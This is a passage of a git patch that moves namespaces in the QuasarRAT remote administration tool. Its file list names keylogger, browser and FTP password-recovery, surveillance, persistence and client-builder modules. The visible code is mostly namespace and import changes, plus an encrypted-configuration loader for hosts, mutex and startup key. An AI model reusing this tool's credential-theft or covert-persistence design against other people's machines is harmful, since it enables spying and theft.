From 1ca2ca6dd409a6ce85574c99f9efcb110d7c0d8b Mon Sep 17 00:00:00 2001 From: MaxXor Date: Thu, 4 Oct 2018 21:49:24 +0200 Subject: [PATCH] Adjust namespaces --- .../Core/Encryption/AES.Tests.cs | 49 -- .../{Core => }/Helper/FileHelper.Tests.cs | 4 +- .../Quasar.Client.Tests.csproj | 14 +- .../{Core => }/Commands/CommandHandler.cs | 4 +- .../{Core => }/Commands/ConnectionHandler.cs | 8 +- .../{Core => }/Commands/FileHandler.cs | 6 +- .../{Core => }/Commands/MiscHandler.cs | 6 +- .../{Core => }/Commands/RegistryHandler.cs | 8 +- .../Commands/SurveillanceHandler.cs | 10 +- .../{Core => }/Commands/SystemHandler.cs | 10 +- .../Commands/TcpConnectionsHandler.cs | 2 +- Quasar.Client/Config/Settings.cs | 23 +- .../Core/Helper/CryptographyHelper.cs | 29 - Quasar.Client/{Core => }/Data/ClientData.cs | 2 +- .../{Core => }/Data/GeoInformation.cs | 2 +- Quasar.Client/{Core => }/Data/Host.cs | 2 +- .../Extensions/RegistryKeyExtensions.cs | 2 +- .../{Core => }/Extensions/SocketExtensions.cs | 2 +- .../{Core => }/Helper/DevicesHelper.cs | 6 +- Quasar.Client/{Core => }/Helper/FileHelper.cs | 20 +- .../{Core => }/Helper/FormatHelper.cs | 2 +- .../{Core => }/Helper/GeoLocationHelper.cs | 4 +- Quasar.Client/{Core => }/Helper/HostHelper.cs | 4 +- .../{Core => }/Helper/KeyloggerHelper.cs | 2 +- .../{Core => }/Helper/MutexHelper.cs | 2 +- .../{Core => }/Helper/NativeMethodsHelper.cs | 4 +- .../{Core => }/Helper/PlatformHelper.cs | 2 +- .../{Core => }/Helper/RegistryKeyHelper.cs | 4 +- .../{Core => }/Helper/ScreenHelper.cs | 4 +- .../{Core => }/Helper/SystemHelper.cs | 2 +- .../{Core => }/Helper/WindowsAccountHelper.cs | 4 +- .../Installation/ClientInstaller.cs | 6 +- .../Installation/ClientUninstaller.cs | 4 +- .../{Core => }/Installation/ClientUpdater.cs | 6 +- .../{Core => }/Installation/Startup.cs | 6 +- Quasar.Client/{Core => }/Networking/Client.cs | 14 +- .../{Core => }/Networking/PacketHandler.cs | 6 +- .../{Core => }/Networking/QuasarClient.cs | 10 +- Quasar.Client/Program.cs | 16 +- Quasar.Client/Quasar.Client.csproj | 106 ++-- .../{Core => }/Recovery/Browsers/Chrome.cs | 4 +- .../{Core => }/Recovery/Browsers/Firefox.cs | 10 +- .../Recovery/Browsers/InternetExplorer.cs | 4 +- .../{Core => }/Recovery/Browsers/Opera.cs | 4 +- .../{Core => }/Recovery/Browsers/Yandex.cs | 4 +- .../Recovery/FtpClients/FileZilla.cs | 2 +- .../{Core => }/Recovery/FtpClients/WinSCP.cs | 6 +- .../{Core => }/Recovery/Utilities/Chromium.cs | 2 +- .../{Core => }/Recovery/Utilities/JsonUtil.cs | 2 +- .../Recovery/Utilities/SQLiteHandler.cs | 2 +- .../{Core => }/Registry/RegistryEditor.cs | 6 +- .../{Core => }/Registry/RegistrySeeker.cs | 6 +- .../ReverseProxy/ReverseProxyClient.cs | 2 +- .../ReverseProxyCommandHandler.cs | 2 +- .../{Core => }/Utilities/HostsManager.cs | 4 +- .../{Core => }/Utilities/Keylogger.cs | 6 +- .../{Core => }/Utilities/NativeMethods.cs | 2 +- Quasar.Client/{Core => }/Utilities/Shell.cs | 2 +- .../Compression/JpgCompression.Tests.cs | 8 +- .../Compression/SafeQuickLZ.Tests.cs | 8 +- .../Cryptography/Aes128.Tests.cs | 49 ++ .../Cryptography}/SHA256.Tests.cs | 12 +- .../Properties/AssemblyInfo.cs | 20 + .../Quasar.Common.Tests.csproj | 70 +++ .../Cryptography/Aes128.cs | 62 ++- .../Cryptography/SHA256.cs | 6 +- Quasar.Common/Helpers/StringHelper.cs | 20 + .../IO}/Compression/SafeQuickLZ.cs | 2 +- Quasar.Common/Properties/AssemblyInfo.cs | 1 + Quasar.Common/Quasar.Common.csproj | 4 + .../Core/Compression/SafeQuickLZ.Tests.cs | 118 ---- .../Core/Encryption/AES.Tests.cs | 49 -- .../Quasar.Server.Tests.csproj | 10 +- .../{Core => }/Build/ClientBuilder.cs | 36 +- .../{Core => }/Build/IconInjector.cs | 2 +- Quasar.Server/{Core => }/Build/Renamer.cs | 2 +- Quasar.Server/Controls/ListViewEx.cs | 4 +- Quasar.Server/Controls/RapidPictureBox.cs | 2 +- .../Controls/RegistryValueLstItem.cs | 4 +- Quasar.Server/Core/Compression/SafeQuickLZ.cs | 513 ------------------ Quasar.Server/Core/Cryptography/AES.cs | 197 ------- .../Core/Helper/CryptographyHelper.cs | 41 -- Quasar.Server/{Core => }/Data/BuildOptions.cs | 2 +- .../{Core => }/Data/BuilderProfile.cs | 4 +- Quasar.Server/{Core => }/Data/Host.cs | 2 +- Quasar.Server/{Core => }/Data/Settings.cs | 2 +- .../Extensions/ListViewExtensions.cs | 6 +- .../Extensions/RegistryKeyExtensions.cs | 2 +- .../{Core => }/Extensions/SocketExtensions.cs | 2 +- Quasar.Server/Forms/FrmAbout.cs | 2 +- Quasar.Server/Forms/FrmBuilder.cs | 6 +- Quasar.Server/Forms/FrmConnections.cs | 6 +- Quasar.Server/Forms/FrmDownloadAndExecute.cs | 2 +- Quasar.Server/Forms/FrmFileManager.cs | 6 +- Quasar.Server/Forms/FrmKeylogger.cs | 6 +- Quasar.Server/Forms/FrmMain.cs | 20 +- Quasar.Server/Forms/FrmPasswordRecovery.cs | 8 +- Quasar.Server/Forms/FrmRegValueEditBinary.cs | 2 +- Quasar.Server/Forms/FrmRegValueEditString.cs | 2 +- Quasar.Server/Forms/FrmRegistryEditor.cs | 10 +- Quasar.Server/Forms/FrmRemoteDesktop.cs | 8 +- Quasar.Server/Forms/FrmRemoteShell.cs | 6 +- Quasar.Server/Forms/FrmReverseProxy.cs | 10 +- Quasar.Server/Forms/FrmSettings.cs | 14 +- Quasar.Server/Forms/FrmShowMessagebox.cs | 2 +- Quasar.Server/Forms/FrmStartupAdd.cs | 2 +- Quasar.Server/Forms/FrmStartupManager.cs | 6 +- Quasar.Server/Forms/FrmSystemInformation.cs | 8 +- Quasar.Server/Forms/FrmTaskManager.cs | 6 +- Quasar.Server/Forms/FrmUpdate.cs | 2 +- Quasar.Server/Forms/FrmUploadAndExecute.cs | 2 +- Quasar.Server/Forms/FrmVisitWebsite.cs | 2 +- .../{Core => }/Helper/ClipboardHelper.cs | 2 +- Quasar.Server/{Core => }/Helper/FileHelper.cs | 26 +- .../{Core => }/Helper/FormatHelper.cs | 2 +- Quasar.Server/{Core => }/Helper/HostHelper.cs | 4 +- .../{Core => }/Helper/NativeMethodsHelper.cs | 4 +- .../{Core => }/Helper/PlatformHelper.cs | 2 +- .../{Core => }/Helper/RemoteDesktopHelper.cs | 2 +- .../{Core => }/Helper/WindowHelper.cs | 4 +- .../Messages/ClientStatusHandler.cs | 4 +- .../{Core => }/Messages/FileManagerHandler.cs | 22 +- .../{Core => }/Messages/KeyloggerHandler.cs | 10 +- .../Messages/PasswordRecoveryHandler.cs | 10 +- .../{Core => }/Messages/RegistryHandler.cs | 4 +- .../Messages/RemoteDesktopHandler.cs | 10 +- .../{Core => }/Messages/RemoteShellHandler.cs | 4 +- .../Messages/ReverseProxyHandler.cs | 10 +- .../Messages/StartupManagerHandler.cs | 8 +- .../Messages/SystemInformationHandler.cs | 10 +- .../{Core => }/Messages/TaskManagerHandler.cs | 4 +- .../Messages/TcpConnectionsHandler.cs | 4 +- Quasar.Server/{Core => }/Networking/Client.cs | 12 +- .../{Core => }/Networking/QuasarServer.cs | 2 +- Quasar.Server/{Core => }/Networking/Server.cs | 6 +- .../{Core => }/Networking/UserState.cs | 4 +- .../Utilities/PooledBufferManager.cs | 2 +- .../{Core => }/Networking/Utilities/UPnP.cs | 2 +- Quasar.Server/Quasar.Server.csproj | 89 ++- .../{Core => }/Registry/RegValueHelper.cs | 2 +- .../ReverseProxy/ReverseProxyClient.cs | 4 +- .../ReverseProxy/ReverseProxyServer.cs | 4 +- .../{Core => }/Utilities/FrameCounter.cs | 2 +- .../Utilities/ListViewColumnSorter.cs | 2 +- .../{Core => }/Utilities/NativeMethods.cs | 2 +- .../{Core => }/Utilities/NoIpUpdater.cs | 4 +- QuasarRAT.sln | 28 + 147 files changed, 700 insertions(+), 1496 deletions(-) delete mode 100644 Quasar.Client.Tests/Core/Encryption/AES.Tests.cs rename Quasar.Client.Tests/{Core => }/Helper/FileHelper.Tests.cs (93%) rename Quasar.Client/{Core => }/Commands/CommandHandler.cs (89%) rename Quasar.Client/{Core => }/Commands/ConnectionHandler.cs (95%) rename Quasar.Client/{Core => }/Commands/FileHandler.cs (98%) rename Quasar.Client/{Core => }/Commands/MiscHandler.cs (98%) rename Quasar.Client/{Core => }/Commands/RegistryHandler.cs (97%) rename Quasar.Client/{Core => }/Commands/SurveillanceHandler.cs (98%) rename Quasar.Client/{Core => }/Commands/SystemHandler.cs (99%) rename Quasar.Client/{Core => }/Commands/TcpConnectionsHandler.cs (99%) delete mode 100644 Quasar.Client/Core/Helper/CryptographyHelper.cs rename Quasar.Client/{Core => }/Data/ClientData.cs (91%) rename Quasar.Client/{Core => }/Data/GeoInformation.cs (97%) rename Quasar.Client/{Core => }/Data/Host.cs (95%) rename Quasar.Client/{Core => }/Extensions/RegistryKeyExtensions.cs (99%) rename Quasar.Client/{Core => }/Extensions/SocketExtensions.cs (98%) rename Quasar.Client/{Core => }/Helper/DevicesHelper.cs (97%) rename Quasar.Client/{Core => }/Helper/FileHelper.cs (91%) rename Quasar.Client/{Core => }/Helper/FormatHelper.cs (96%) rename Quasar.Client/{Core => }/Helper/GeoLocationHelper.cs (99%) rename Quasar.Client/{Core => }/Helper/HostHelper.cs (94%) rename Quasar.Client/{Core => }/Helper/KeyloggerHelper.cs (99%) rename Quasar.Client/{Core => }/Helper/MutexHelper.cs (93%) rename Quasar.Client/{Core => }/Helper/NativeMethodsHelper.cs (98%) rename Quasar.Client/{Core => }/Helper/PlatformHelper.cs (99%) rename Quasar.Client/{Core => }/Helper/RegistryKeyHelper.cs (98%) rename Quasar.Client/{Core => }/Helper/ScreenHelper.cs (93%) rename Quasar.Client/{Core => }/Helper/SystemHelper.cs (98%) rename Quasar.Client/{Core => }/Helper/WindowsAccountHelper.cs (96%) rename Quasar.Client/{Core => }/Installation/ClientInstaller.cs (96%) rename Quasar.Client/{Core => }/Installation/ClientUninstaller.cs (93%) rename Quasar.Client/{Core => }/Installation/ClientUpdater.cs (92%) rename Quasar.Client/{Core => }/Installation/Startup.cs (96%) rename Quasar.Client/{Core => }/Networking/Client.cs (98%) rename Quasar.Client/{Core => }/Networking/PacketHandler.cs (98%) rename Quasar.Client/{Core => }/Networking/QuasarClient.cs (95%) rename Quasar.Client/{Core => }/Recovery/Browsers/Chrome.cs (92%) rename Quasar.Client/{Core => }/Recovery/Browsers/Firefox.cs (98%) rename Quasar.Client/{Core => }/Recovery/Browsers/InternetExplorer.cs (99%) rename Quasar.Client/{Core => }/Recovery/Browsers/Opera.cs (92%) rename Quasar.Client/{Core => }/Recovery/Browsers/Yandex.cs (92%) rename Quasar.Client/{Core => }/Recovery/FtpClients/FileZilla.cs (98%) rename Quasar.Client/{Core => }/Recovery/FtpClients/WinSCP.cs (97%) rename Quasar.Client/{Core => }/Recovery/Utilities/Chromium.cs (99%) rename Quasar.Client/{Core => }/Recovery/Utilities/JsonUtil.cs (95%) rename Quasar.Client/{Core => }/Recovery/Utilities/SQLiteHandler.cs (99%) rename Quasar.Client/{Core => }/Registry/RegistryEditor.cs (99%) rename Quasar.Client/{Core => }/Registry/RegistrySeeker.cs (98%) rename Quasar.Client/{Core => }/ReverseProxy/ReverseProxyClient.cs (99%) rename Quasar.Client/{Core => }/ReverseProxy/ReverseProxyCommandHandler.cs (96%) rename Quasar.Client/{Core => }/Utilities/HostsManager.cs (96%) rename Quasar.Client/{Core => }/Utilities/Keylogger.cs (98%) rename Quasar.Client/{Core => }/Utilities/NativeMethods.cs (99%) rename Quasar.Client/{Core => }/Utilities/Shell.cs (99%) rename {Quasar.Client.Tests/Core => Quasar.Common.Tests}/Compression/JpgCompression.Tests.cs (81%) rename {Quasar.Client.Tests/Core => Quasar.Common.Tests}/Compression/SafeQuickLZ.Tests.cs (97%) create mode 100644 Quasar.Common.Tests/Cryptography/Aes128.Tests.cs rename {Quasar.Client.Tests/Core/Encryption => Quasar.Common.Tests/Cryptography}/SHA256.Tests.cs (52%) create mode 100644 Quasar.Common.Tests/Properties/AssemblyInfo.cs create mode 100644 Quasar.Common.Tests/Quasar.Common.Tests.csproj rename Quasar.Client/Core/Cryptography/AES.cs => Quasar.Common/Cryptography/Aes128.cs (77%) rename {Quasar.Client/Core => Quasar.Common}/Cryptography/SHA256.cs (88%) create mode 100644 Quasar.Common/Helpers/StringHelper.cs rename {Quasar.Client/Core => Quasar.Common/IO}/Compression/SafeQuickLZ.cs (99%) delete mode 100644 Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs delete mode 100644 Quasar.Server.Tests/Core/Encryption/AES.Tests.cs rename Quasar.Server/{Core => }/Build/ClientBuilder.cs (91%) rename Quasar.Server/{Core => }/Build/IconInjector.cs (99%) rename Quasar.Server/{Core => }/Build/Renamer.cs (99%) delete mode 100644 Quasar.Server/Core/Compression/SafeQuickLZ.cs delete mode 100644 Quasar.Server/Core/Cryptography/AES.cs delete mode 100644 Quasar.Server/Core/Helper/CryptographyHelper.cs rename Quasar.Server/{Core => }/Data/BuildOptions.cs (96%) rename Quasar.Server/{Core => }/Data/BuilderProfile.cs (99%) rename Quasar.Server/{Core => }/Data/Host.cs (93%) rename Quasar.Server/{Core => }/Data/Settings.cs (99%) rename Quasar.Server/{Core => }/Extensions/ListViewExtensions.cs (91%) rename Quasar.Server/{Core => }/Extensions/RegistryKeyExtensions.cs (98%) rename Quasar.Server/{Core => }/Extensions/SocketExtensions.cs (98%) rename Quasar.Server/{Core => }/Helper/ClipboardHelper.cs (89%) rename Quasar.Server/{Core => }/Helper/FileHelper.cs (62%) rename Quasar.Server/{Core => }/Helper/FormatHelper.cs (97%) rename Quasar.Server/{Core => }/Helper/HostHelper.cs (95%) rename Quasar.Server/{Core => }/Helper/NativeMethodsHelper.cs (94%) rename Quasar.Server/{Core => }/Helper/PlatformHelper.cs (99%) rename Quasar.Server/{Core => }/Helper/RemoteDesktopHelper.cs (94%) rename Quasar.Server/{Core => }/Helper/WindowHelper.cs (85%) rename Quasar.Server/{Core => }/Messages/ClientStatusHandler.cs (98%) rename Quasar.Server/{Core => }/Messages/FileManagerHandler.cs (99%) rename Quasar.Server/{Core => }/Messages/KeyloggerHandler.cs (95%) rename Quasar.Server/{Core => }/Messages/PasswordRecoveryHandler.cs (95%) rename Quasar.Server/{Core => }/Messages/RegistryHandler.cs (99%) rename Quasar.Server/{Core => }/Messages/RemoteDesktopHandler.cs (98%) rename Quasar.Server/{Core => }/Messages/RemoteShellHandler.cs (97%) rename Quasar.Server/{Core => }/Messages/ReverseProxyHandler.cs (95%) rename Quasar.Server/{Core => }/Messages/StartupManagerHandler.cs (93%) rename Quasar.Server/{Core => }/Messages/SystemInformationHandler.cs (94%) rename Quasar.Server/{Core => }/Messages/TaskManagerHandler.cs (96%) rename Quasar.Server/{Core => }/Messages/TcpConnectionsHandler.cs (97%) rename Quasar.Server/{Core => }/Networking/Client.cs (98%) rename Quasar.Server/{Core => }/Networking/QuasarServer.cs (99%) rename Quasar.Server/{Core => }/Networking/Server.cs (99%) rename Quasar.Server/{Core => }/Networking/UserState.cs (94%) rename Quasar.Server/{Core => }/Networking/Utilities/PooledBufferManager.cs (99%) rename Quasar.Server/{Core => }/Networking/Utilities/UPnP.cs (98%) rename Quasar.Server/{Core => }/Registry/RegValueHelper.cs (97%) rename Quasar.Server/{Core => }/ReverseProxy/ReverseProxyClient.cs (99%) rename Quasar.Server/{Core => }/ReverseProxy/ReverseProxyServer.cs (98%) rename Quasar.Server/{Core => }/Utilities/FrameCounter.cs (97%) rename Quasar.Server/{Core => }/Utilities/ListViewColumnSorter.cs (98%) rename Quasar.Server/{Core => }/Utilities/NativeMethods.cs (97%) rename Quasar.Server/{Core => }/Utilities/NoIpUpdater.cs (95%) diff --git a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs deleted file mode 100644 index 10ef3e7c..00000000 --- a/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System.Text; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Client.Core.Cryptography; -using Quasar.Client.Core.Helper; - -namespace Quasar.Client.Tests.Core.Encryption -{ - [TestClass] - public class AESTests - { - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptStringTest() - { - var input = FileHelper.GetRandomFilename(100); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encrypted = AES.Encrypt(input); - - Assert.IsNotNull(encrypted); - Assert.AreNotEqual(encrypted, input); - - var decrypted = AES.Decrypt(encrypted); - - Assert.AreEqual(input, decrypted); - } - - [TestMethod, TestCategory("Encryption")] - public void EncryptAndDecryptByteArrayTest() - { - var input = FileHelper.GetRandomFilename(100); - var inputByte = Encoding.UTF8.GetBytes(input); - var password = FileHelper.GetRandomFilename(50); - - AES.SetDefaultKey(password); - - var encryptedByte = AES.Encrypt(inputByte); - - Assert.IsNotNull(encryptedByte); - CollectionAssert.AllItemsAreNotNull(encryptedByte); - CollectionAssert.AreNotEqual(encryptedByte, inputByte); - - var decryptedByte = AES.Decrypt(encryptedByte); - - CollectionAssert.AreEqual(inputByte, decryptedByte); - } - } -} \ No newline at end of file diff --git a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs b/Quasar.Client.Tests/Helper/FileHelper.Tests.cs similarity index 93% rename from Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs rename to Quasar.Client.Tests/Helper/FileHelper.Tests.cs index e47f7342..56a93565 100644 --- a/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs +++ b/Quasar.Client.Tests/Helper/FileHelper.Tests.cs @@ -1,7 +1,7 @@ using Microsoft.VisualStudio.TestTools.UnitTesting; -using Quasar.Client.Core.Helper; +using Quasar.Client.Helper; -namespace Quasar.Client.Tests.Core.Helper +namespace Quasar.Client.Tests.Helper { [TestClass] public class FileHelperTests diff --git a/Quasar.Client.Tests/Quasar.Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj index 0e185643..a95b5043 100644 --- a/Quasar.Client.Tests/Quasar.Client.Tests.csproj +++ b/Quasar.Client.Tests/Quasar.Client.Tests.csproj @@ -7,7 +7,7 @@ Library Properties Quasar.Client.Tests - Client.Tests + Quasar.Client.Tests v4.0 512 {3AC096D0-A1C2-E12C-1390-A8335801FDAB};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} @@ -53,21 +53,13 @@ - - - - - + {9f5cf56a-ddb2-4f40-ab99-2a1dc47588e1} - Client - - - {C7C363BA-E5B6-4E18-9224-39BC8DA73172} - Quasar.Common + Quasar.Client diff --git a/Quasar.Client/Core/Commands/CommandHandler.cs b/Quasar.Client/Commands/CommandHandler.cs similarity index 89% rename from Quasar.Client/Core/Commands/CommandHandler.cs rename to Quasar.Client/Commands/CommandHandler.cs index 11884540..2418d44e 100644 --- a/Quasar.Client/Core/Commands/CommandHandler.cs +++ b/Quasar.Client/Commands/CommandHandler.cs @@ -1,9 +1,9 @@ using System.Collections.Generic; using System.Threading; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Utilities; using Quasar.Common.Video.Codecs; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN VARIABLES NECESSARY FOR VARIOUS COMMANDS (if needed). */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/ConnectionHandler.cs b/Quasar.Client/Commands/ConnectionHandler.cs similarity index 95% rename from Quasar.Client/Core/Commands/ConnectionHandler.cs rename to Quasar.Client/Commands/ConnectionHandler.cs index 954e534c..69705a3c 100644 --- a/Quasar.Client/Core/Commands/ConnectionHandler.cs +++ b/Quasar.Client/Commands/ConnectionHandler.cs @@ -1,13 +1,13 @@ using System; using System.Net; using System.Threading; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Installation; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Helper; +using Quasar.Client.Installation; +using Quasar.Client.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE CONNECTION COMMANDS. */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/FileHandler.cs b/Quasar.Client/Commands/FileHandler.cs similarity index 98% rename from Quasar.Client/Core/Commands/FileHandler.cs rename to Quasar.Client/Commands/FileHandler.cs index 12e9a88d..06d9d0a0 100644 --- a/Quasar.Client/Core/Commands/FileHandler.cs +++ b/Quasar.Client/Commands/FileHandler.cs @@ -2,14 +2,14 @@ using System.IO; using System.Security; using System.Threading; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Helper; +using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; using Quasar.Common.Models; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE DIRECTORIES AND FILES (excluding the program). */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/MiscHandler.cs b/Quasar.Client/Commands/MiscHandler.cs similarity index 98% rename from Quasar.Client/Core/Commands/MiscHandler.cs rename to Quasar.Client/Commands/MiscHandler.cs index b8ff6e13..aebb5ca2 100644 --- a/Quasar.Client/Core/Commands/MiscHandler.cs +++ b/Quasar.Client/Commands/MiscHandler.cs @@ -4,12 +4,12 @@ using System.Net; using System.Threading; using System.Windows.Forms; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Helper; +using Quasar.Client.Utilities; using Quasar.Common.IO; using Quasar.Common.Messages; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN MISCELLANEOUS METHODS. */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/RegistryHandler.cs b/Quasar.Client/Commands/RegistryHandler.cs similarity index 97% rename from Quasar.Client/Core/Commands/RegistryHandler.cs rename to Quasar.Client/Commands/RegistryHandler.cs index 39a5a6a0..f0dca28f 100644 --- a/Quasar.Client/Core/Commands/RegistryHandler.cs +++ b/Quasar.Client/Commands/RegistryHandler.cs @@ -1,11 +1,11 @@ using System; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Registry; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Registry; using Quasar.Common.Messages; using Quasar.Common.Models; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE REGISTRY. */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/SurveillanceHandler.cs b/Quasar.Client/Commands/SurveillanceHandler.cs similarity index 98% rename from Quasar.Client/Core/Commands/SurveillanceHandler.cs rename to Quasar.Client/Commands/SurveillanceHandler.cs index e9bb8715..bec6ef56 100644 --- a/Quasar.Client/Core/Commands/SurveillanceHandler.cs +++ b/Quasar.Client/Commands/SurveillanceHandler.cs @@ -5,10 +5,10 @@ using System.IO; using System.Threading; using System.Windows.Forms; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Recovery.Browsers; -using Quasar.Client.Core.Recovery.FtpClients; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Helper; +using Quasar.Client.Recovery.Browsers; +using Quasar.Client.Recovery.FtpClients; +using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.IO; using Quasar.Common.Messages; @@ -16,7 +16,7 @@ using Quasar.Common.Video; using Quasar.Common.Video.Codecs; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE SURVEILLANCE COMMANDS. */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/SystemHandler.cs b/Quasar.Client/Commands/SystemHandler.cs similarity index 99% rename from Quasar.Client/Core/Commands/SystemHandler.cs rename to Quasar.Client/Commands/SystemHandler.cs index f848f011..55c8c38f 100644 --- a/Quasar.Client/Core/Commands/SystemHandler.cs +++ b/Quasar.Client/Commands/SystemHandler.cs @@ -7,16 +7,16 @@ using System.Windows.Forms; using Microsoft.Win32; using Quasar.Client.Config; -using Quasar.Client.Core.Data; -using Quasar.Client.Core.Extensions; -using Quasar.Client.Core.Helper; -using Quasar.Client.Core.Utilities; +using Quasar.Client.Data; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Client.Utilities; using Quasar.Common.Enums; using Quasar.Common.Messages; using Models = Quasar.Common.Models; using Process = System.Diagnostics.Process; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT MANIPULATE THE SYSTEM (drives, directories, files, etc.). */ public static partial class CommandHandler diff --git a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Commands/TcpConnectionsHandler.cs similarity index 99% rename from Quasar.Client/Core/Commands/TcpConnectionsHandler.cs rename to Quasar.Client/Commands/TcpConnectionsHandler.cs index 6541039f..d91dcd06 100644 --- a/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs +++ b/Quasar.Client/Commands/TcpConnectionsHandler.cs @@ -6,7 +6,7 @@ using Models = Quasar.Common.Models; using Process = System.Diagnostics.Process; -namespace Quasar.Client.Core.Commands +namespace Quasar.Client.Commands { /* THIS PARTIAL CLASS SHOULD CONTAIN METHODS THAT HANDLE TCP Connections COMMANDS. */ diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 30a18573..f9141457 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -1,8 +1,7 @@ using System; -using Quasar.Client.Core.Helper; - +using Quasar.Client.Helper; #if !DEBUG -using Quasar.Client.Core.Cryptography; +using Quasar.Common.Cryptography; #endif namespace Quasar.Client.Config @@ -60,15 +59,15 @@ public static bool Initialize() public static bool Initialize() { if (string.IsNullOrEmpty(VERSION)) return false; - AES.SetDefaultKey(ENCRYPTIONKEY); - TAG = AES.Decrypt(TAG); - VERSION = AES.Decrypt(VERSION); - HOSTS = AES.Decrypt(HOSTS); - SUBDIRECTORY = AES.Decrypt(SUBDIRECTORY); - INSTALLNAME = AES.Decrypt(INSTALLNAME); - MUTEX = AES.Decrypt(MUTEX); - STARTUPKEY = AES.Decrypt(STARTUPKEY); - LOGDIRECTORYNAME = AES.Decrypt(LOGDIRECTORYNAME); + Aes128.SetDefaultKey(ENCRYPTIONKEY); + TAG = Aes128.Decrypt(TAG); + VERSION = Aes128.Decrypt(VERSION); + HOSTS = Aes128.Decrypt(HOSTS); + SUBDIRECTORY = Aes128.Decrypt(SUBDIRECTORY); + INSTALLNAME = Aes128.Decrypt(INSTALLNAME); + MUTEX = Aes128.Decrypt(MUTEX); + STARTUPKEY = Aes128.Decrypt(STARTUPKEY); + LOGDIRECTORYNAME = Aes128.Decrypt(LOGDIRECTORYNAME); FixDirectory(); return true; } diff --git a/Quasar.Client/Core/Helper/CryptographyHelper.cs b/Quasar.Client/Core/Helper/CryptographyHelper.cs deleted file mode 100644 index fec64f63..00000000 --- a/Quasar.Client/Core/Helper/CryptographyHelper.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System.Runtime.CompilerServices; - -namespace Quasar.Client.Core.Helper -{ - public static class CryptographyHelper - { - /// - /// Compares two byte arrays for equality. - /// - /// Byte array to compare - /// Byte array to compare - /// True if equal, else false - /// - /// Assumes that the byte arrays have the same length. - /// This method is safe against timing attacks. - /// - [MethodImpl(MethodImplOptions.NoOptimization)] - public static bool AreEqual(byte[] a1, byte[] a2) - { - bool result = true; - for (int i = 0; i < a1.Length; ++i) - { - if (a1[i] != a2[i]) - result = false; - } - return result; - } - } -} diff --git a/Quasar.Client/Core/Data/ClientData.cs b/Quasar.Client/Data/ClientData.cs similarity index 91% rename from Quasar.Client/Core/Data/ClientData.cs rename to Quasar.Client/Data/ClientData.cs index f429cb2d..cb05763c 100644 --- a/Quasar.Client/Core/Data/ClientData.cs +++ b/Quasar.Client/Data/ClientData.cs @@ -1,6 +1,6 @@ using System.Windows.Forms; -namespace Quasar.Client.Core.Data +namespace Quasar.Client.Data { public static class ClientData { diff --git a/Quasar.Client/Core/Data/GeoInformation.cs b/Quasar.Client/Data/GeoInformation.cs similarity index 97% rename from Quasar.Client/Core/Data/GeoInformation.cs rename to Quasar.Client/Data/GeoInformation.cs index 7bca8069..71ccd722 100644 --- a/Quasar.Client/Core/Data/GeoInformation.cs +++ b/Quasar.Client/Data/GeoInformation.cs @@ -1,6 +1,6 @@ using System.Runtime.Serialization; -namespace Quasar.Client.Core.Data +namespace Quasar.Client.Data { [DataContract] public class GeoInformation diff --git a/Quasar.Client/Core/Data/Host.cs b/Quasar.Client/Data/Host.cs similarity index 95% rename from Quasar.Client/Core/Data/Host.cs rename to Quasar.Client/Data/Host.cs index f2f84a7c..7be8b4e2 100644 --- a/Quasar.Client/Core/Data/Host.cs +++ 